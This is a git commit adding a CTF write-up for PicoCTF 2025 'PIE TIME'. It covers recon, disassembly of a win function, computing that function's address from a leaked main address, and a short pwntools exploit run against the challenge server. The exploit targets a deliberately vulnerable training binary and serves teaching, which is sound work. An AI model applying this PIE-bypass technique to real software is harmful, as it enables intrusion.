V1 with content
This commit is contained in:
86
writeups/2025-08-18-pie-time.md
Normal file
86
writeups/2025-08-18-pie-time.md
Normal file
@@ -0,0 +1,86 @@
|
||||
---
|
||||
title: "PicoCTF 2025: PIE TIME"
|
||||
excerpt: "Hinted PIE ret2win stack buffer overflow on an amd64 ELF"
|
||||
tags: [ctf, pwn]
|
||||
---
|
||||
|
||||
## Recon
|
||||
|
||||
```
|
||||
$ file vuln
|
||||
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0072413e1b5a0613219f45518ded05fc685b680a, for GNU/Linux 3.2.0, not stripped
|
||||
$ checksec --file=vuln
|
||||
[*] '/home/qelal/PicoCTF/PIE-TIME/vuln'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Full RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
SHSTK: Enabled
|
||||
IBT: Enabled
|
||||
Stripped: No
|
||||
```
|
||||
|
||||
PIE is enabled here, so the program will be loaded at a different memory address each time it is run. Also, addresses of instructions inside the binary are now offsets, not absolute addresses. Fortunately, the program leaks the address for symbol `main` at runtime:
|
||||
|
||||
```
|
||||
$ ./vuln
|
||||
Address of main: 0x55aadb5fd33d
|
||||
Enter the address to jump to, ex => 0x12345: ff
|
||||
Your input: ff
|
||||
Segfault Occurred, incorrect address.
|
||||
```
|
||||
|
||||
The program behavior is quite simple, it asks for an address and jumps to it. Source code for the challenge was available, but it is easy to work without it here.
|
||||
|
||||
Upon inspection in IDA, we see a `win` function that seems to open the flag file:
|
||||
|
||||
```nasm
|
||||
.text:00000000000012A7 endbr64
|
||||
.text:00000000000012AB push rbp
|
||||
.text:00000000000012AC mov rbp, rsp
|
||||
.text:00000000000012AF sub rsp, 10h
|
||||
.text:00000000000012B3 lea rdi, aYouWon ; "You won!"
|
||||
.text:00000000000012BA call _puts
|
||||
.text:00000000000012BF lea rsi, modes ; "r"
|
||||
.text:00000000000012C6 lea rdi, filename ; "flag.txt"
|
||||
.text:00000000000012CD call _fopen
|
||||
.text:00000000000012D2 mov [rbp+stream], rax
|
||||
.text:00000000000012D6 cmp [rbp+stream], 0
|
||||
.text:00000000000012DB jnz short loc_12F3
|
||||
.text:00000000000012DD lea rdi, aCannotOpenFile ; "Cannot open file."
|
||||
.text:00000000000012E4 call _puts
|
||||
.text:00000000000012E9 mov edi, 0 ; status
|
||||
.text:00000000000012EE call _exit
|
||||
```
|
||||
|
||||
We can note here the offset of the function which is `0x12A7`. Also, by taking a look at the `main` symbol, we see its offset is `0x133D`:
|
||||
|
||||
```c
|
||||
.text:000000000000133D ; int __fastcall main(int argc, const char **argv, const char **envp)
|
||||
.text:000000000000133D public main
|
||||
```
|
||||
|
||||
## Exploit
|
||||
|
||||
Having this information we can deduct the space between the two symbols, by subtracting the two offsets. We find `0x96` bytes.
|
||||
|
||||
Now we can deduct the position of the `win` function at runtime, by taking `main`'s address and subtracting `0x96`. This can be done in a Pwntools script:
|
||||
|
||||
```python
|
||||
io = start()
|
||||
|
||||
main_text = io.recvuntil(b'12345:').split(b'\n')[0].split(b': ')[1].decode()
|
||||
main_addr = int(main_text, 16)
|
||||
win_addr = main_addr - 0x96
|
||||
|
||||
io.sendline(hex(win_addr).encode())
|
||||
print(io.recvall())
|
||||
```
|
||||
|
||||
We can execute the exploit and get the flag:
|
||||
|
||||
```
|
||||
$ python exploit.py REMOTE rescued-float.picoctf.net 52840
|
||||
b' Your input: 59c1cff1d2a7\nYou won!\npicoCTF{REDACTED}\n\n'
|
||||
```
|
||||
Reference in New Issue
Block a user